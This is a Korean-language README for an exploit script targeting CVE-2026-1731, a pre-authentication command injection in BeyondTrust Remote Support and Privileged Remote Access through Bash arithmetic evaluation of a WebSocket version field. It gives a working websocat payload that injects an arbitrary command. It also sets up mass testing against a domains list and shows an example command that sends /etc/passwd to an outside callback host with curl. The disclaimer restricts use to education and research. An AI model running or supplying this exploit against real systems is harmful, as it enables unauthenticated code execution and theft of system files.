
CVE-2026-1731 - WebSocket으로 접근 가능한 스크립트의 안전하지 않은 Bash 산술 평가로 인해 BeyondTrust Remote Support 및 Privileged Remote Access에 존재하는 심각한 명령 주입 취약점
[!WARNING] 이 스크립트는 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 무단 접근 또는 테스트는 불법적이고 비윤리적입니다. 이 스크립트를 사용하기 전에 전체 면책 조항을 읽으십시오.
이 스크립트는 BeyondTrust Remote Support (RS) 및 **Privileged Remote Access (PRA)**에 영향을 미치는 치명적인 명령 인젝션 취약점(CVE-2026-1731)을 시연합니다. 이 문제는 이전에 널리 알려진 CVE-2024-12356과 관련된 동일한 WebSocket 접근 엔드포인트에서 발생하므로, 이와 매우 밀접한 변종입니다.
취약점은 서버의 thin-scc-wrapper 스크립트가 공격자가 제어하는 입력에 대해 산술 비교를 수행하기 때문에 발생합니다. 구체적으로 WebSocket 핸드셰이크 중에 전송되는 remoteVersion 값이 해당 입력입니다. Bash는 숫자 비교에서 피연산자를 일반 문자열이 아닌 표현식으로 취급하므로, a[$(cmd)]0과 같은 조작된 페이로드가 평가 중에 임의 명령 실행을 유발할 수 있습니다.
BeyondTrust가 이번 패치 주기에서 숫자 타당성 검사를 추가했지만, 이는 이후 Bash가 표현식 평가를 수행하는 것을 막지 못하므로 엔드포인트는 여전히 공격 가능한 상태로 남습니다. 공격자는 인증 전에 WebSocket 연결을 열고 악의적인 버전 값을 보내기만 하면 코드 실행을 달성할 수 있습니다.
echo -ne "hax[\$(ATTACKER-COMMAND)]\naaaaaaaa-aaaa-aaaa-aaaaaaaaaaaa\n0\naaaa\n" | \
./websocat -k wss://AFFECTED-SYSTEM:443/nw \
--protocol "ingredi support desk customer thin" \
-H "X-Ns-Company: COMPANY-NAME" \
--binary -n -
pip3 install requests
wget -O websocat https://github.com/vi/websocat/releases/download/v1.14.1/websocat.x86_64-unknown-linux-musl
chmod +x websocat
(Python 스크립트와 같은 폴더에 넣으세요.)
또는 시스템 전체로 이동하려면:
sudo mv websocat /usr/local/bin/
domains.txt 생성테스트하려는 URL을 추가하세요:
example1.com
example2.com
example3.com
스크립트에서 WebSocket 익스플로잇이 실행할 명령을 구성하려면 다음 줄을 편집하세요:
CMD = "YOUR-COMMAND-HERE"
예를 들어:
CMD = "curl -X POST -d @/etc/passwd http://XXXXXXXXX.oast.fun/"
명령을 설정한 후 스크립트를 실행하세요:
python3 exploit.py
또는 실행 권한을 부여한 후 직접 실행하세요:
chmod +x exploit.py
./exploit.py